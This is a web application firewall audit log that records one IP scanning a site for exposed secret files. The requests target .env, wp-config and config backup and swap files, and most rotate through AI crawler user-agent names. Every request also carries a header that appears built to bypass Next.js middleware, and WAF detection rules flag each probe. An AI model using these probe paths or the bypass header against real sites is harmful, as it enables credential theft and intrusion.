[13/Sep/2026:11:22:15.246332 +0300] aqZdN0wu1RSkptiiNIX2yAAAAIo 34.80.249.255 53604 127.0.0.1 7081
--a5f9010c-B--
GET /.env.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a5f9010c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a5f9010c-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqZdN0wu1RSkptiiNIX2yAAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqZdN0wu1RSkptiiNIX2yAAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735153353 93035 (- - -)
Stopwatch2: 1789287735153353 93035; combined=32201, p1=305, p2=31832, p3=0, p4=0, p5=64, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a5f9010c-Z--
--014a1c0d-A--
[13/Sep/2026:11:22:15.373987 +0300] aqZdN2M7dE9KgIIOpQhxrQAAANM 34.80.249.255 53608 127.0.0.1 7081
--014a1c0d-B--
GET /core/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--014a1c0d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--014a1c0d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/core/.env"] [unique_id "aqZdN2M7dE9KgIIOpQhxrQAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735282840 91222 (- - -)
Stopwatch2: 1789287735282840 91222; combined=4877, p1=350, p2=4474, p3=0, p4=0, p5=52, sr=167, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--014a1c0d-Z--
--a3bdc36e-A--
[13/Sep/2026:11:22:15.451006 +0300] aqZdNzTJ6xTvcJoem7f51AAAAEg 34.80.249.255 53640 127.0.0.1 7081
--a3bdc36e-B--
GET /configuration.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a3bdc36e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a3bdc36e-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/configuration.php.bak"] [unique_id "aqZdNzTJ6xTvcJoem7f51AAAAEg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735378111 72952 (- - -)
Stopwatch2: 1789287735378111 72952; combined=4518, p1=217, p2=4242, p3=0, p4=0, p5=58, sr=76, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a3bdc36e-Z--
--61e2fa55-A--
[13/Sep/2026:11:22:15.480226 +0300] aqZdN0wu1RSkptiiNIX2yQAAAIs 34.80.249.255 53628 127.0.0.1 7081
--61e2fa55-B--
GET /config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--61e2fa55-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--61e2fa55-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config.php.bak"] [unique_id "aqZdN0wu1RSkptiiNIX2yQAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735360781 119500 (- - -)
Stopwatch2: 1789287735360781 119500; combined=4517, p1=224, p2=4213, p3=0, p4=0, p5=79, sr=85, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--61e2fa55-Z--
--6c10cb4b-A--
[13/Sep/2026:11:22:15.559233 +0300] aqZdNzTJ6xTvcJoem7f51QAAAFM 34.80.249.255 53650 127.0.0.1 7081
--6c10cb4b-B--
GET /.env.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6c10cb4b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c10cb4b-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.swp"] [unique_id "aqZdNzTJ6xTvcJoem7f51QAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735488270 71027 (- - -)
Stopwatch2: 1789287735488270 71027; combined=4706, p1=203, p2=4447, p3=0, p4=0, p5=55, sr=86, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c10cb4b-Z--
--e63a961b-A--
[13/Sep/2026:11:22:15.686736 +0300] aqZdN0wu1RSkptiiNIX2ywAAAIU 34.80.249.255 59596 127.0.0.1 7081
--e63a961b-B--
GET /public/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e63a961b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e63a961b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public/.env"] [unique_id "aqZdN0wu1RSkptiiNIX2ywAAAIU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735621020 65781 (- - -)
Stopwatch2: 1789287735621020 65781; combined=4455, p1=261, p2=4139, p3=0, p4=0, p5=55, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e63a961b-Z--
--eee9f84e-A--
[13/Sep/2026:11:22:15.824353 +0300] aqZdN0wu1RSkptiiNIX2zAAAAIM 34.80.249.255 59610 127.0.0.1 7081
--eee9f84e-B--
GET /web/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--eee9f84e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--eee9f84e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/web/.env"] [unique_id "aqZdN0wu1RSkptiiNIX2zAAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735714765 109645 (- - -)
Stopwatch2: 1789287735714765 109645; combined=5744, p1=221, p2=5426, p3=0, p4=0, p5=96, sr=95, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eee9f84e-Z--
--c40f9879-A--
[13/Sep/2026:11:22:15.831496 +0300] aqZdN2M7dE9KgIIOpQhxrwAAANE 34.80.249.255 59602 127.0.0.1 7081
--c40f9879-B--
GET /storage/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c40f9879-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c40f9879-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/storage/.env"] [unique_id "aqZdN2M7dE9KgIIOpQhxrwAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735716073 115479 (- - -)
Stopwatch2: 1789287735716073 115479; combined=4404, p1=160, p2=4197, p3=0, p4=0, p5=46, sr=67, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c40f9879-Z--
--dd84893a-A--
[13/Sep/2026:11:22:15.868373 +0300] aqZdN2M7dE9KgIIOpQhxsAAAAMw 34.80.249.255 59620 127.0.0.1 7081
--dd84893a-B--
GET /wp/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--dd84893a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--dd84893a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp/.env"] [unique_id "aqZdN2M7dE9KgIIOpQhxsAAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735751112 117349 (- - -)
Stopwatch2: 1789287735751112 117349; combined=4974, p1=304, p2=4601, p3=0, p4=0, p5=68, sr=134, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dd84893a-Z--
--0fa04461-A--
[13/Sep/2026:11:22:15.903845 +0300] aqZdN2M7dE9KgIIOpQhxsQAAAM4 34.80.249.255 59636 127.0.0.1 7081
--0fa04461-B--
GET /wp-config.php~ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0fa04461-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0fa04461-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZdN2M7dE9KgIIOpQhxsQAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZdN2M7dE9KgIIOpQhxsQAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZdN2M7dE9KgIIOpQhxsQAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZdN2M7dE9KgIIOpQhxsQAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735795957 107945 (- - -)
Stopwatch2: 1789287735795957 107945; combined=33713, p1=229, p2=33417, p3=0, p4=0, p5=67, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0fa04461-Z--
--9dace405-A--
[13/Sep/2026:11:22:16.050042 +0300] aqZdN0wu1RSkptiiNIX2zgAAAII 34.80.249.255 59648 127.0.0.1 7081
--9dace405-B--
GET /wp-config.php.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9dace405-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9dace405-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZdN0wu1RSkptiiNIX2zgAAAII"]
